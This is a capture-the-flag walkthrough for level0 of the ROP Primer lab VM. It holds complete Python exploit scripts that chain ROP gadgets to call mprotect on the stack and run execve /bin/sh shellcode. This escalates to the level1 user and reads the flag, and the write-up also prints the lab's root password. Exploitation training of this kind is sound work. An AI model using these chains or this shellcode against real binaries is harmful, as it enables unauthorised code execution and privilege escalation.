Introduction
This is walkthrough for level0 of ROP Primer from vulnhub.
ROP Primer
This VM is meant as a small introduction to 32-bit return-oriented-programming on Linux. It contains three vulnerable binaries, that must be exploited using ROP.
The machine is built and tested in VirtualBox 4.3.20. It’s an Ubuntu 32 bit VM, with ASLR disabled. Useful tools like gdb-peda are installed. A description of the levels, including instructions, can be found on the webserver.
A big shout-out to my team mates of the Vulnhub CTF Team!
@barrebas, March 2015 & June 2015
Level 0
Username: root
Password: toor
Username: level0
Password: warmup
Note about ASLR
As mentioned in challenge descriptions, ASLR is disabled.
level0@rop:/tmp$ cat /proc/sys/kernel/randomize_va_space
0
Protection Mechanism
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
gdb-peda$
Running the program
level0@rop:~$ ls -l
total 588
-rw-r----- 1 level1 level1 25 Jan 20 2015 flag
-rwsr-xr-x 1 level1 level1 595992 Jan 20 2015 level0
level0@rop:~$ ./level0
[+] ROP tutorial level0
[+] What's your name? rizaru
[+] Bet you can't ROP me, rizaru!
level0@rop:~$
Crashing the program
Copy the program to /tmp
as SUID binaries does not generate core dump.
level0@rop:/tmp$ ls -l
total 584
-rwxr-xr-x 1 level0 level0 595992 Nov 4 19:51 level0
Enable core dump by setting ulimit
.
https://www.ibm.com/docs/en/cdfsp/7.6.1.1?topic=begin-setting-ulimit The ulimit setting is used to define user system and process resource limits.
level0@rop:/tmp$ ulimit -c unlimited
Crash the program.
level0@rop:/tmp$ python -c "print 'A'*100" | ./level0
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Segmentation fault (core dumped)
level0@rop:/tmp$ gdb ./level0 -q core
Reading symbols from ./level0...(no debugging symbols found)...done.
[New LWP 1041]
Core was generated by `./level0'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x41414141 in ?? ()
gdb-peda$
EIP Offset
level0@rop:/tmp$ echo "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A" | ./level0
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A!
Segmentation fault (core dumped)
level0@rop:/tmp$
level0@rop:/tmp$ gdb ./level0 -q core
Reading symbols from ./level0...(no debugging symbols found)...done.
[New LWP 1056]
Core was generated by `./level0'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x35624134 in ?? ()
gdb-peda$
Offset at 44.
$ `locate pattern_offset.rb` -q 0x35624134
[*] Exact match at offset 44
Controlling EIP
level0@rop:/tmp$ python -c "print 'A'*44 + 'B'*4 + 'C'*52" | ./level0
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC!
Segmentation fault (core dumped)
level0@rop:/tmp$
level0@rop:/tmp$
level0@rop:/tmp$ gdb ./level0 -q core
Reading symbols from ./level0...(no debugging symbols found)...done.
[New LWP 1107]
Core was generated by `./level0'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x42424242 in ?? ()
gdb-peda$ x/10xw $esp
0xbffff720: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff730: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff740: 0x43434343 0x43434343
gdb-peda$
Stack pointer is already pointing to where we can store shellcode.
Basic PoC Skeleton:
import struct
def p(a):
return struct.pack('<I', a)
payload = "A"*44
payload += "BBBB"
print (payload)
Approach
We have mprotect
and memcopy
available to us.
gdb-peda$ p mprotect
$1 = {<text variable, no debug info>} 0x80523e0 <mprotect>
gdb-peda$ p memcpy
$2 = {<text variable, no debug info>} 0x8051500 <memcpy>
gdb-peda$
- Change memory protection of stack with
mprotect
to RWX. - Jump to shellcode in stack.
Implementation
Calling mprotect() to make stack executable
Finding address of Stack:
gdb-peda$ vmmap
Start End Perm Name
0x08048000 0x080ca000 r-xp /tmp/level0
0x080ca000 0x080cb000 rw-p /tmp/level0
0x080cb000 0x080ef000 rw-p [heap]
0xb7ffd000 0xb7fff000 rw-p mapped
0xb7fff000 0xb8000000 r-xp [vdso]
0xbffdf000 0xc0000000 rw-p [stack]
gdb-peda$
Memory address for changing protection - 0xbffdf000
mprotect
MPROTECT(2) Linux Programmer's Manual MPROTECT(2)
NAME
mprotect - set protection on a region of memory
SYNOPSIS
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);
DESCRIPTION
mprotect() changes protection for the calling process's memory page(s) containing any part of the address range in the interval [addr, addr+len-1]. addr must be aligned to a page boundary.
If the calling process tries to access memory in a manner that violates the protection, then the kernel generates a SIGSEGV signal for the process.
prot is either PROT_NONE or a bitwise-or of the other values in the following list:
PROT_NONE The memory cannot be accessed at all.
PROT_READ The memory can be read.
PROT_WRITE The memory can be modified.
PROT_EXEC The memory can be executed.
Memory protection Reference: https://sites.uclouvain.be/SystInfo/usr/include/bits/mman.h.html
#define PROT_READ 0x1 /* Page can be read. */
#define PROT_WRITE 0x2 /* Page can be written. */
#define PROT_EXEC 0x4 /* Page can be executed. */
#define PROT_NONE 0x0 /* Page can not be accessed. */
mprotect() Register Alignment
# mprotect()
# int mprotect(void *addr, size_t len, int prot);
# eax = 125 ; mprotect syscall
# ebx = *addr ; target memory - stack
# ecx = len ; 0x2000
# edx = prot ; RWX - 0x7
Using Ropper to find gadgets:
$ ropper --file level0 --search "pop e?x; ret"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop e?x; ret
[INFO] File: level0
0x0806b893: pop eax; ret;
0x080525ee: pop ebx; ret;
0x080525c6: pop edx; ret;
$ ropper --file level0 --search "int 0x80; ret"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: int 0x80; ret
[INFO] File: level0
0x08052cf0: int 0x80; ret;
$ ropper --file level0 --search "push esp; ret"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: push esp; ret
[INFO] File: level0
0x0804d999: push esp; ret 0x83f0;
0x08055311: push esp; ret;
$ ropper --file level0 --search "pop ecx"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop ecx
[INFO] File: level0
0x08065bc7: pop ecx; adc al, 0x89; ret;
0x08065bc1: pop ecx; adc byte ptr [ecx + 0x59890c59], cl; adc al, 0x89; ret;
0x08065bbe: pop ecx; add al, 0x89; pop ecx; adc byte ptr [ecx + 0x59890c59], cl; adc al, 0x89; ret;
0x0804e6ce: pop ecx; mov eax, dword ptr [0x80cb6c8]; test eax, eax; je 0x66e0; mov dword ptr [ebp - 0x44], edx; call eax;
0x08065bc4: pop ecx; or al, 0x89; pop ecx; adc al, 0x89; ret;
0x080859cf: pop ecx; or byte ptr [eax], cl; jmp eax;
0x080c8bbf: pop ecx; or cl, byte ptr [esi]; adc al, 0x41; ret;
0x08079bd1: pop ecx; pop eax; jmp dword ptr [eax];
0x0808ffac: pop ecx; pop ebx; pop esi; pop edi; pop ebp; ret;
0x080ab647: pop ecx; pop ebx; leave; ret;
0x080525ed: pop ecx; pop ebx; ret;
0x080c4cc1: pop ecx; clc; jmp dword ptr [eax];
PoC with bunch of \xcc
as shellcode:
import struct
def p32(a):
return struct.pack('<I', a)
target_mem = 0xbffdf000
shellcode = "\xcc" * 300
payload = "A"*44
# mprotect()
# int mprotect(void *addr, size_t len, int prot);
# eax = 125 ; mprotect syscall
# ebx = *addr ; target memory - stack;
# ecx = len ; 0x21000
# edx = prot ; RWX - 0x7
# useful gadgets
# ropper --file level0 --search "pop e?x; ret"
# 0x0806b893: pop eax; ret;
# 0x080525ee: pop ebx; ret;
# 0x080525c6: pop edx; ret;
pop_eax_ret = 0x0806b893
pop_ebx_ret = 0x080525ee
pop_edx_ret = 0x080525c6
# ropper --file level0 --search "pop ecx"
# 0x080525ed: pop ecx; pop ebx; ret;
pop_ecx_ebx_ret = 0x080525ed
# ropper --file level0 --search "int 0x80; ret"
# 0x08052cf0: int 0x80; ret;
int_80_ret = 0x08052cf0
# ropper --file level0 --search "push esp; ret"
# 0x0804d999: push esp; ret 0x83f0;
# 0x08055311: push esp; ret;
push_esp_ret = 0x08055311
# set up registers for mprotect(0xbffdf000, 0x21000, 0x7)
payload += p32(pop_eax_ret)
payload += p32(0x7d) # eax = 125 or 0x7d ; mprotect
payload += p32(pop_ecx_ebx_ret)
payload += p32(0x21000) # ecx = len;
payload += p32(0xbffdf000) # ebx = target memory ; stack
payload += p32(pop_edx_ret)
payload += p32(0x7) # prot; RWX
# issue interrupt to call mprotect()
payload += p32(int_80_ret) # int 0x80; ret
# return execution to stack which is executable and contains shellcode
payload += p32(push_esp_ret)
# shellcode
payload += shellcode
print (payload)
We successfully hit the shellcode which are the interrupts.
level0@rop:/tmp$ python poc.py | ./level0
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�}!
Trace/breakpoint trap (core dumped)
level0@rop:/tmp$ gdb ./level0 -q core
Reading symbols from ./level0...(no debugging symbols found)...done.
[New LWP 995]
Core was generated by `./level0'.
Program terminated with signal SIGTRAP, Trace/breakpoint trap.
#0 0xbffff741 in ?? ()
gdb-peda$ x/xw $esp
0xbffff740: 0xcccccccc
gdb-peda$ x/50xw $esp
0xbffff740: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff750: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff760: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff770: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff780: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff790: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff7a0: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff7b0: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff7c0: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff7d0: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff7e0: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff7f0: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff800: 0xcccccccc 0xcccccccc
gdb-peda$
Replacing the shellcode with one generated from gdb-peda
.
gdb-peda$ shellcode generate x86/linux exec
# x86/linux/exec: 24 bytes
shellcode = (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
"\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)
gdb-peda$
Final PoC:
import struct
def p32(a):
return struct.pack('<I', a)
# gdb peda : shellcode generate x86/linux exec
shellcode = (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
"\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)
# EIP Offset 44
payload = "A"*44
# useful gadgets
# ropper --file level0 --search "pop e?x; ret"
# 0x0806b893: pop eax; ret;
# 0x080525ee: pop ebx; ret;
# 0x080525c6: pop edx; ret;
pop_eax_ret = 0x0806b893
pop_ebx_ret = 0x080525ee
pop_edx_ret = 0x080525c6
# ropper --file level0 --search "pop ecx"
# 0x080525ed: pop ecx; pop ebx; ret;
pop_ecx_ebx_ret = 0x080525ed
# ropper --file level0 --search "int 0x80; ret"
# 0x08052cf0: int 0x80; ret;
int_80_ret = 0x08052cf0
# ropper --file level0 --search "push esp; ret"
# 0x0804d999: push esp; ret 0x83f0;
# 0x08055311: push esp; ret;
push_esp_ret = 0x08055311
# mprotect()
# int mprotect(void *addr, size_t len, int prot);
# eax = 125 ; mprotect syscall
# ebx = *addr ; target memory - stack;
# ecx = len ; 0x21000
# edx = prot ; RWX - 0x7
# set up registers for memprotect(0xbffdf000, 0x21000, 0x7)
payload += p32(pop_eax_ret)
payload += p32(0x7d) # eax = 125 or 0x7d ; mprotect
payload += p32(pop_ecx_ebx_ret)
payload += p32(0x21000) # ecx = len;
payload += p32(0xbffdf000) # ebx = target memory ; stack
payload += p32(pop_edx_ret)
payload += p32(0x7) # prot; RWX
# issue interrupt to call mprotect()
payload += p32(int_80_ret) # int 0x80; ret
# return execution to stack which is executable and contains shellcode
payload += p32(push_esp_ret)
# shellcode
payload += shellcode
print (payload)
level0@rop:~$ (python /tmp/poc.py ; cat) | ./level0
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�}!
id
uid=1000(level0) gid=1000(level0) euid=1001(level1) groups=1001(level1),1000(level0)
whoami
level1
cat flag
flag{rop_the_night_away}
Automating ROP Chain With Ropper
Ropper:
$ ropper --file level0 --chain "mprotect address=0xbfdff000 size=0x21000"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] ROPchain Generator for syscall mprotect:
[INFO] eax 0x7b
ebx address
ecx size
edx 0x7 -> RWE
[INFO] Try to create chain which fills registers without delete content of previous filled registers
[*] Try permuation 1 / 24
[INFO] Look for syscall gadget
[INFO] syscall gadget found
[INFO] Look for jmp esp
[INFO] jmp esp found
[INFO] generating rop chain
#!/usr/bin/env python
# Generated by ropper ropchain generator #
from struct import pack
p = lambda x : pack('I', x)
shellcode = '\xcc'*100
IMAGE_BASE_0 = 0x08048000 # 467dfb6b9e55450e3a0f2d798af27c71b495f73a84195617444b205fd51884d7
rebase_0 = lambda x : p(x + IMAGE_BASE_0)
rop = ''
rop += rebase_0(0x0000a5ee) # 0x080525ee: pop ebx; ret;
rop += p(0xbfdff000)
rop += rebase_0(0x0001dbc7) # 0x08065bc7: pop ecx; adc al, 0x89; ret;
rop += p(0x00021000)
rop += rebase_0(0x0000a5c6) # 0x080525c6: pop edx; ret;
rop += p(0x00000007)
rop += rebase_0(0x00023893) # 0x0806b893: pop eax; ret;
rop += p(0x0000007d)
rop += rebase_0(0x0000acf0) # 0x08052cf0: int 0x80; ret;
rop += rebase_0(0x0000d311) # 0x08055311: push esp; ret;
rop += shellcode
print(rop)
[INFO] rop chain generated!
Correcting the target address to that of stack.
#!/usr/bin/env python
# Generated by ropper ropchain generator #
from struct import pack
p = lambda x : pack('I', x)
#shellcode = '\xcc'*100
shellcode = (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
"\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)
IMAGE_BASE_0 = 0x08048000 # 467dfb6b9e55450e3a0f2d798af27c71b495f73a84195617444b205fd51884d7
rebase_0 = lambda x : p(x + IMAGE_BASE_0)
rop = 'A'*44
rop += rebase_0(0x0000a5ee) # 0x080525ee: pop ebx; ret;
rop += p(0xbffdf000)
rop += rebase_0(0x0001dbc7) # 0x08065bc7: pop ecx; adc al, 0x89; ret;
rop += p(0x00021000)
rop += rebase_0(0x0000a5c6) # 0x080525c6: pop edx; ret;
rop += p(0x00000007)
rop += rebase_0(0x00023893) # 0x0806b893: pop eax; ret;
rop += p(0x0000007d)
rop += rebase_0(0x0000acf0) # 0x08052cf0: int 0x80; ret;
rop += rebase_0(0x0000d311) # 0x08055311: push esp; ret;
rop += shellcode
print(rop)
Testing the rop chain.
level0@rop:~$ (python /tmp/level0.py;cat) | ./level0
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�!
id
uid=1000(level0) gid=1000(level0) euid=1001(level1) groups=1001(level1),1000(level0)
cat flag
flag{rop_the_night_away}